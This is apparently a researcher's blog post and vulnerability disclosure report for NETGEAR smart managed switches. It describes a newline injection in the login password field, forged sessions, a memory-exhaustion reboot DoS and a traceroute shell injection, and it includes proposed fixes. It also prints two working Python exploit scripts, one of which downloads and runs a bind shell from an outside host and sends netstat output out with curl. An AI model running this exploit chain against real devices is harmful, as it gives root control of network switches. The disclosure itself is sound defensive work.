TL;DR: NETGEAR just patched 3 reported vulnerabilities (Demon's Cries, Draconian Fear and Seventh Inferno) in some managed (smart) switches. If you or your company owns any of these devices, please patch now.

P.S. This vulnerability and exploit chain is actually quite interesting technically. In short, it goes from a newline injection in the password field, through being able to write a file with constant uncontrolled content of 2 (like, one byte 32h), through a DoS and session crafting (which yields an admin web UI user), to an eventual post-auth shell injection (which yields full root).

Affected devices:

  • GC108P
  • GC108PP
  • GS108Tv3
  • GS110TPP
  • GS110TPv3
  • GS110TUP
  • GS308T
  • GS310TP
  • GS710TUP
  • GS716TP
  • GS716TPP
  • GS724TPP
  • GS724TPv2
  • GS728TPPv2
  • GS728TPv2
  • GS750E
  • GS752TPP
  • GS752TPv2
  • MS510TXM
  • MS510TXUP

NETGEAR's advisory can be found here: Security Advisory for Multiple Vulnerabilities on Some Smart Switches, PSV-2021-0140, PSV-2021-0144, PSV-2021-0145.

CVSS, CVE, etc

Some human readable details are in the next section.

  • Vulnerability Codename: Draconian Fear
  • Vendor-specific ID: Either PSV-2021-0140 or PSV-2021-0145, not sure.
  • CVE: CVE-2021-41314
  • CVSS: 9.8 (Critical)1, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Patch Diff Risk: Medium

1 NETGEAR on the advisory page says it's 8.8 (High). The difference – as usual – falls down to the AV:N vs AV:A part (i.e. Attack Vector: Network vs Adjacent). Not sure what is NETGEAR's argument in this case, but this vulnerability can be exploited both from the directly Intranet and indirectly (in a reflected way) from the Internet (though the exploit chain is missing one part in the latter case). Also, see the CVSS v3.1: Specification Document: Network should be used even if the attacker is required to be on the same intranet to exploit the vulnerable system (e.g., the attacker can only exploit the vulnerability from inside a corporate network). At the end of the day it doesn't change anything technically (but plz patch).

Detailed Report

Published on September 13th, 2021.

Seventh Inferno *** Summary: Affected Model: NETGEAR GS110TPV3 Smart Managed Pro Switch (and some other) Firmware Version: V7.0.6.3 (from 2021-05-07) NETGEAR GS110TPV3 Smart Managed Pro Switch is vulnerable to a newline injection in the password field that, in combination with a reboot-DoS and a post-auth shell injection, leads to code execution as root user and therefore full device compromise. Furthermore, this vulnerability is also exploitable in a reflected manner (i.e. by convincing an in-LAN user's browser to send a few packets to the switch). NOTE: The reported reboot DoS vulnerability is a bit more tricky to exploit in a reflected way, but honestly I tried this vector only for about 10 minutes. I've put more details later in the report. The PoC for this one is a two-stage one: - first one reboots the switch, - and second one fakes a new session and exploits the post-auth RCE. To summarize, this report contains information about: - a newline injection vulnerability that allows to create / write to arbitrary files (attacker does not control the content), - a post-authentication shell injection bug (not a vulnerability in itself due to being post-auth), - a Denial of Service vulnerability that, in combination with the newline injection, forms a reboot DoS. IMPORTANT: This vulnerability is reported under the 90-day policy, i.e. this report will be shared publicly with the defensive community on 13th September 2021. See https://www.google.com/about/appsecurity/ for details. NOTE: At this point in time I haven't checked what other models are affected, but I strongly suspect other NETGEAR devices reuse the same code. *** More details - newline injection: The web UI authentication logic is copy-pasted from the Draconian Fear report, but it's important in this case as well: --- copy/paste --- Web UI authentication logic on this device goes like this: 1. Admin opens the website and enters the password. 2. The password is obfuscated and sent to /cgi/set.cgi?cmd=home_loginAuth. 3. The set.cgi handler (cgi_home_loginAuth_set) creates an authing session file (libcgiutil.so's cgi_util_authingSession_create) named: /tmp/sess/guiAuth_info_{handlerPid} This file contains: * username * password * name of the result file /tmp/sess/guiAuth_{http}_{clientIP}_{userAgent} * {clientIP} * {http} * {userAgent} (where {http} is either "http" or "https" string, and {userAgent} is an integer between 1 and 5 denoting a type of browser) 4. The same handler creates another file named /tmp/_polld_act_web_login and fills it with a command to be executed: /home/web/cgi/login.cgi {handlerPid} & 5. Then sends a SIGUSR1 signal to polld daemon and returns a generic HTTP response. 6. The polld daemon upon receiving the SIGUSR1 opens the created /tmp/_polld_act_web_login file and executes the command within it. 7. The login.cgi program uses the data inside the /tmp/sess/guiAuth_info_{handlerPid} file to authenticate the user, and writes the result in the /tmp/sess/guiAuth_{http}_{clientIP}_{userAgent} file. --- end of copy/paste --- In point 3 above the created file - /tmp/sess/guiAuth_info_{handlerPid} - is a simple text file that looks like this (example): admin mySecretPassword /tmp/sess/guiAuth_http_::ffff:someip_5 ::ffff:someip http 5 Both the username and the password fields above are inserted into the file without any form of encoding or escaping, meaning that an attacker is able to add a newline character to any of these fields, effectively gaining control of the structure of the file (it's more useful to do it with the password field, as it can be longer). For example, if an attacker would send the following password: X\n/webtmp/xyz\nY The file created in point 3 would look like this: admin x /webtmp/xyz y /tmp/sess/guiAuth_http_::ffff:someip_5 ::ffff:someip http 5 In point 7 the login.cgi program is run (which isn't really a CGI script, not sure why it's in the cgi/ directory or has .cgi extension), which attempts to authenticate the user, and eventually writes the result to whatever file is specified in line 3 of the file. In case of the example above, that would be the attacker controlled "/webtmp/xyz" file. This gives the attacker the ability to either create a new file, or overwrite an existing one (assuming permissions / mount type permits). However, the attacker does not control the content of this file. In fact the final content will be either "2" (i.e. just the "2" ASCII character, 1 byte), or "3". In this case "2" denotes "login failed due to user/password being wrong" and "3" denotes "login failed due to too many attempts". While at first glance a file containing only the single character "2" isn't super useful, this is enough to eventually get code execution on the device. The trick to do so is to create a fake session file with the following name: /var/tmp/sess/login_http_ And the following content: 2 This in fact abuses three weaknesses in the session verification process. Session verification is implemented in the cgi_util_session_check() function (libcgiutil.so.0.0), and (in short) works as follows: 1. Function at 0x124c0 is called, and it proceeds to grab the HTTP_X_CSRF_XSID environment variable and decrypt it (RSA with padding). Result is placed in the g_sessId global variable. 2. Session file /var/tmp/sess/login_{http}_{g_sessId} is opened, and its content is read using a fscanf("%d\n%u\n%u\n%u\n%u\n%s\n%d\n") function. 3. Session creation date (one of the read fields from the session file) is verified to check if the session has expired. 4. If all goes well, session is accepted as valid. The first weakness is the fact that the function 0x124c0's return value is never checked, meaning that even if X-CSRF-XSID HTTP header is not set, or doesn't decrypt correctly, there is no error caught. Instead, g_sessId remains an empty string - thus the /var/tmp/sess/login_http_ file created in previous step of the attack. The second weakness is related to fscanf's return value not being checked - this allows a faulty session file to still be accepted, with most of the fields just maintaining initialization-time values (zeros in this case). This means that our session file that contains just "2" is still accepted as a valid session file. That said, because the "session creation time" field defaults to zero, this fake session gets immediately rejected as expired. That's where the third weakness and the reboot DoS come into play. Because the session time is actually the number of seconds from last reboot (i.e. system uptime), this means that session creation time of value zero is perfectly fine during the first couple of minutes after reboot. So it's enough to reboot the switch (see "More details - reboot DoS" section) and create the /var/tmp/sess/login_http_ to get a fully valid session (that has either any invalid id in the X-CSRF-XSID HTTP header, or that field is entirely skipped). The next step is to use a post-auth shell injection to execute any code (see "More details - post-auth shell injection" section). NOTE: Everything described in this section is achievable in a reflected manner by using a simple website with a JavaScript that uses XMLHttpRequest to send a custom POST packet (I've tested it). *** More details - reboot DoS NOTE: Any reboot DoS can be used to reboot the switch, it doesn't have to be this specific one of course. My backup plans were (given the old kernel) some newer TCP/IP stack vulnerabilities (like IPv6 fragment ICMP kernel panic, etc). I haven't tested them though. The first step in the discovered reboot vulnerability relies on triple exploitation of the described above newline injection to write "2" into the following sysctl files: /proc/sys/vm/panic_on_oom /proc/sys/kernel/panic /proc/sys/kernel/panic_on_oops This configures the kernel to panic and reboot when RAM runs out (otherwise the switch would just hang and become unresponsive, but never reboot). The remaining step is to consume the available RAM of the device. This is achieved by uploading a large file over HTTP - lighttpd is configured to write the temporary files to the /tmp/httpupload directory, which is backed by RAM fs (so a large upload effectively eats all the RAM). Note that the file can be uploaded towards any endpoint - since generic HTTP servers don't usually know which scripts will or won't accept uploaded files, the only thing they can do is to accept (i.e. store in RAM or a temporary location) any uploaded files and pass them on. NOTE: While it's achievable to set the sysctls in a reflected way using JavaScript and XMLHttpRequest, things get more tricky for the upload itself. To be more precise, the switch is pretty slow on accepting the data, and e.g. Chrome gets annoyed by this pretty fast and cuts the connection. I wouldn't rule out achieving some variant of the upload DoS on Chrome anyway, but it's not as straight forward as just using a single Blob/FormData/XMLHttpRequest. *** More details - post-auth shell injection The set.cgi's diag_traceroute is vulnerable to a shell injection in the hostname field, e.g. (POST data example): v here! v {"_ds=1&ver=4&type=1&hostname=`SHELL INJ`&probe=3&ttl=30&ttlInit=1&fail=5& interval=3&port=33434&size=38&source=0&ip=&routingIntf=0&_de=1":{}} It seems to work best when the first command of the shell injection is echo of some valid IP, like: echo 192.168.0.1 but apart from that it works really well with long ;-separated scripts. I don't consider this to be a vulnerability, since it does require a valid session (i.e. it's post-authentication), and it doesn't break any assumptions about what a logged-in admin can do with the device (i.e. the admin can just replace part of the firmware anyway as it's not signed). NOTE: It's achievable to exploit this in a reflected way using JavaScript and XMLHttpRequest (I've tested it). *** Proposed fixes: I would start by getting rid of that password obfuscation that's used in the login request (password put every seventh characters, backwards) - it doesn't serve any purpose and it's way too simple to trick any MITMing listener (they can see the JS anyway). It just gives more junior admins a false sense of security. Onto the main topic though. The newline injection can be fixed by e.g. using base64 encoding to store any user-controlled fields in the intermediate file. In addition, it makes sense to validate whether the username and password fields are in expected charset (e.g. only printable characters, ASCII from 0x20 to 0x7E). The session validation weaknesses can be fixed by: 1. Rejecting any session that's missing the X-CSRF-XSID header. 2. Rejecting any session where X-CSRF-XSID's content doesn't decrypt correctly. 3. Adding integrity check to the session id as well - currently the only check whether the session decrypted correctly is the RSA padding, but there's actually a pretty decent probability (around 1/186k) that a random string of bytes decrypts correctly and meets the padding requirements. I would actually suggest to encrypt both the session id and the MD5 of session id, and then (after decrypting both), checking if the MD5 matches (I'm saying MD5 because both JS and backend already use it, and it should provide enough bits for integrity in this scenario anyway). !! NOTE: A better idea is to just get rid of session id encryption/decryption whatsoever - it doesn't really add any security over e.g. a 128-bit random hexadecimal encoded number passed as plaintext (and verified against both length and charset). And it would speed up everything (RSA is slow). 4. Adding return value check for fscanf() when reading fields from the session file. 5. Changing session creation time (etc) to use e.g. UNIX timestamps instead of system uptime. This honestly isn't a huge deal, but :shrug:. The DoS vulnerability can be fixed by configuring lighttpd (I think that's the server.max-request-size option) to reject any file uploads larger than 16M (care that it doesn't break future firmware upgrade uploads). Another problem here is that an attacker might just use several connections to upload files at the same time. I am not sure if there is a way to configure lighttpd to avoid this, so some modifications to lighttpd might be needed. Another idea is to verify session early, and reject any uploads if the session is missing / invalid. As for the shell injection post-auth bug, it's enough to add proper server-side validation to each field, though as said, since firmware isn't signed anyway, I don't think fixing this changes much. Please let me know if you have any questions. *** PoC Exploit (stage 1): NOTE: Have some ping running to the switch so you can observe when it reboots. NOTE: It takes about 5 minutes for this DoS to take effect (in my tests it usually crashed after uploading around 58 MBs). #!/usr/bin/python3 import requests import json import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) import sys import time import socket import os SWITCH_ADDR = '192.168.2.14' # Address of the switch. # Assuming port 80 for switch (this exploit is not made to work with HTTPS). def exploit_write_file(fname): # Prepare the obfuscated password with the new-line injection to create the # given file. fnameb = bytes(fname, 'utf-8') payload = b'p\n' + fnameb + b'\nx\nhttp\n5' buf_len = max(289, len(payload) * 7 + 7) pwd_buffer = bytearray(buf_len) for i in range(len(pwd_buffer)): pwd_buffer[i] = 0x41 pwd_buffer[122] = ord(str(len(payload) // 10)) # :shrug: pwd_buffer[288] = ord(str(len(payload) % 10)) payload = payload[::-1] for i in range(len(payload)): pwd_buffer[6 + i * 7] = payload[i] # URL-encode everything apart from A-Za-z pwd = [] dont_convert = set(b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz') for b in pwd_buffer: pwd.append("%%%.2x" % b if b not in dont_convert else chr(b)) pwd = ''.join(pwd) # Send the first payload. print( f'Exploiting new-line injection (writing 0, then 2, to file {fname})...' ) data = '{"_ds=1&pwd=' + pwd + '&actKeyText=&xsrf=undefined&_de=1":{}}' headers = { 'Content-Type': 'application/json', 'User-Agent': 'Firefox', } r = requests.post( f"http://{SWITCH_ADDR}/cgi/set.cgi?cmd=home_loginAuth&token=bla", verify=False, headers=headers, data=data ) print(r.text) if r.status_code != 200: sys.exit("Status code not 200, exiting") def exploit_upload_dos(): print("Connecting to HTTP to start uploading data...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((SWITCH_ADDR, 80)) # Send a fake upload packet. packet = [ b'POST /cgi/get.cgi?cmd=home_login&token=x HTTP/1.1', b'Host: ' + bytes(SWITCH_ADDR, 'utf-8'), b'Content-Length: 532500000', b'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryePkpFF7tjBAqx29L', b'', b'------WebKitFormBoundaryePkpFF7tjBAqx29L', b'Content-Disposition: form-data; name="MAX_FILE_SIZE"', b'', b'2325000', b'------WebKitFormBoundaryePkpFF7tjBAqx29L', b'Content-Disposition: form-data; name="uploadedfile"; filename="hello.o"', b'Content-Type: application/x-object', b'', b'... contents of file goes here ...', ] s.sendall(b'\r\n'.join(packet)) print("Upload header sent.") print( "Staring data upload - this script will take a few minutes, and then it " "will crash. That's expected. Keep some ping running to the server to know " "when it rebooted - and then run stage 2 of the exploit." ) try: for i in range(1024): print(f"Uploading {i}th MB...") sys.stdout.flush() s.sendall(b'A' * (1024 * 1024)) except ConnectionResetError: print("OK, switch probably crashed! Wait for it to get up and run stage 2!") exploit_write_file('/proc/sys/vm/panic_on_oom') print("Sleeping 60 seconds...") time.sleep(60) exploit_write_file('/proc/sys/kernel/panic') print("Sleeping 60 seconds...") time.sleep(60) exploit_write_file('/proc/sys/kernel/panic_on_oops') exploit_upload_dos() *** PoC Exploit (stage 2): NOTE: Run it after the switch reboots. NOTE: You might have to run this 2-3 times, it's not fully stable. #!/usr/bin/python3 import requests import json import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) import sys import time SWITCH_ADDR = '192.168.2.14' # Address of the switch. COMMAND = ( # You might want to change this. 'curl http://192.168.2.198:8888/shell_bind_tcp>/tmp/shell_bind_tcp;' 'chmod 777 /tmp/shell_bind_tcp;' '/tmp/shell_bind_tcp;' 'netstat -anp | curl -F file=@- http://192.168.2.198:1234' ) # Prepare the obfuscated password with the new-line injection to create the # /var/tmp/sess/login_http_ file. pwd_buffer = bytearray(400) for i in range(len(pwd_buffer)): pwd_buffer[i] = 0x41 payload = b'x\n/var/tmp/sess/login_http_\n::ffff:192.168.2.199\nhttp\n5' pwd_buffer[122] = ord(str(len(payload) // 10)) pwd_buffer[288] = ord(str(len(payload) % 10)) payload = payload[::-1] for i in range(len(payload)): pwd_buffer[6 + i * 7] = payload[i] # Just URL-encode everything :shrug: pwd = ''.join("%%%.2x" % b for b in pwd_buffer) # Send the first payload. print('Exploiting new-line injection (creating "empty" session)...') data = '{"_ds=1&pwd='+pwd+'&actKeyText=&xsrf=undefined&_de=1":{}}' headers = { #'Content-Type': 'application/json', 'User-Agent': 'Chrome', } r = requests.post( f"http://{SWITCH_ADDR}/cgi/set.cgi?cmd=home_loginAuth&token=bla", verify=False, headers=headers, data=data ) print(r.text) if r.status_code != 200: sys.exit("Status code not 200, exiting") # Send the shell injection payload with the "empty" session. print('\nExploiting shell injection (using "empty" session)...') print(f"If this doesn't return, connect to {SWITCH_ADDR}:11111 for a shell!") sys.stdout.flush() data = ( ('{"_ds=1&ver=4&type=1&hostname=' '`echo 192.168.2.1;') + COMMAND + ('`' '&probe=3&ttl=30&ttlInit=1&fail=5&interval=3&port=33434&size=38&source=0&' 'ip=&routingIntf=0&_de=1":{}}') ) r = requests.post( f"http://{SWITCH_ADDR}/cgi/set.cgi?cmd=diag_traceroute&token=1", verify=False, data=data ) print(r.text) res = r.json() if res.get("logout") == True: if res.get("reason") == "timeout": print('\nSwitch is running too long. Reboot it again.') elif res.get("reason") == "notAuth": print( '\nSomething went wrong, "empty" session wasn\'t picked up - try again.' ) else: print('\nSomething went wrong, but no idea what - try again?')

Comments:

2021-09-13 13:53:52 = crd
{
Slick! This reads almost like "made for CTF" vulnerability to me!
}

Add a comment:

Nick:
URL (optional):
Math captcha: 6 ∗ 7 + 10 =